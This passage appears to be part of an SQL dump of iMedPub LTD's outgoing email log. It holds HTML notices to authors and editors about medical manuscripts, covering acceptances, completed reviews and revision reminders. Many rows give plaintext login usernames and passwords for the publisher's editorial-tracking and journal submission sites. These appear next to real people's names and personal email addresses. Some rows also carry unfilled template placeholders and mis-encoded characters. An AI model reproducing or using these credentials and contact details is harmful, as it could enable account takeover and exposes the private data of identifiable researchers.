Accept','persona522115@gmail.com',7279,'2021-03-16',85),(2796,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7728</b><br />\r\n            <br />\r\n            Article Title: <b>Human right violations in the 2018 Ebola outbreak: What can improve in COVID-19 isolation protocols? </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Androni</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','a.androni@umcg.nl',7728,'2021-03-17',48),(2803,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7275</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Tertiary Care Center.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>RAYMOND KHAN</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7275</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7275,'2021-03-17',75),(2804,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7275</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Tertiary Care Center.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KHAN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Khanra@ngha.med.sa',7275,'2021-03-17',75),(2811,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7764</b><br />\r\n            <br />\r\n            Article Title: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Faisal Alahmadi</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7764</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',7764,'2021-03-18',85),(2812,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-03-18',85),(2813,'<p>Ref.:  Ms. No. : <b>ipaom-20-6964</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. boufrioua</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6964</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>el_ghali</b><br />\r\npassword: <b>NtJmwfgn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','boufriouaelghali@gmail.com',6964,'2021-03-18',85),(2814,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-03-18',85),(2820,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7095</b><br />\r\n            <br />\r\n            Article Title: <b>CICLOSPORINA Y METOTREXATO: POTENCIAL ALTERNATIVA DE TRATAMIENTO PARA LA COVID 19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Viloria Madrid</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emmanuelviloriatoledo@hotmail.com',7095,'2021-03-19',274),(2823,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7763</b><br />\r\n            <br />\r\n            Article Title: <b>Blood Donation In Another Vision</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdrabou</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','amreid@cu.edu.eg',7763,'2021-03-19',48),(2824,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7779</b><br />\r\n            <br />\r\n            Article Title: <b>KNOWLEDGE, ATTITUDE AND UTIIZATION OF ANTENATAL CARE AMONG CHILDBEARING WOMEN IN WASINMI COMMUNITY, OGUN STATE, NIGERIA.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oluseye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','olubim4real@yahoo.com',7779,'2021-03-19',48),(2828,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-7424</b><br />\r\n            <br />\r\n            Article Title: <b>PROSPECTIVE INTERVENTIONAL STUDY TO EVALUATE THE EFFECT OF A MEDICAL DEVICE MADE OF SUBSTANCES IN REDUCING SIGNS AND SYMPTOMS IN PATIENTS WITH HEMORRHOIDAL DISEASE</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Silvio Laureti</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipaclr-21-7424</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','pharmagor@gmail.com',7424,'2021-03-19',984),(2830,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7669</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of Corona Virus Disease-2019 (COVID-19) Pandemic on Social Lives and Interactions of Nigerian Citizens</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Chinwe Mirian Odionye</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7669</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',7669,'2021-03-20',85),(2831,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7592</b><br />\r\n            <br />\r\n            Article Title: <b>Consideraciones anest&Atilde;&copy;sicas en el paciente con trauma de la columna cervical</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rinc&Atilde;&sup3;n</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-7592</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>diego</b><br />\r\n            Password : <b>DLors6j8</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','diego.rinconf@campusucc.edu.co',7592,'2021-03-20',274),(2832,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7472</b><br />\r\n            <br />\r\n            Article Title: <b>Aspergilosis invasiva subaguda en paciente con hipercortisolismo end&Atilde;&sup3;geno.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rocha</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-7472</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>mar&Atilde;&shy;a</b><br />\r\n            Password : <b>KkgdJu2Y</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','rochamariac201@gmail.com',7472,'2021-03-20',274),(2836,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7420</b><br />\r\n            <br />\r\n            Article Title: <b>R2* relaxometry in sclerotic hippocampi of patients with temporal lobe epilepsy</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Zs&Atilde;&sup3;fia S&Atilde;&frac14;t&Aring;&lsquo;</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7420</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',7420,'2021-03-20',75),(2839,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7557</b><br />\r\n            <br />\r\n            Article Title: <b>Methodology and feasibility of neurofeedback to improve visual attention to letters in mild Alzheimer&acirc;&euro;&trade;s disease</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Barry Oken</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7557</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',7557,'2021-03-22',75),(2844,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7511</b><br />\r\n            <br />\r\n            Article Title: <b>Designing a multi-epitope vaccine against Human Cytomegalovirus: an immunoinformatics approach</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hossain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','imran.bge5@gmail.com',7511,'2021-03-22',48),(2846,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7832</b><br />\r\n            <br />\r\n            Article Title: <b>Anthropometry and body composition of elite Brazilian soccer players according to the playing position</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Henrique</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rafael.shenrique@ufpe.br',7832,'2021-03-23',48),(2848,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7627</b><br />\r\n            <br />\r\n            Article Title: <b>Factors influencing Transient elastography in detecting   liver stiffness</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KV</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science 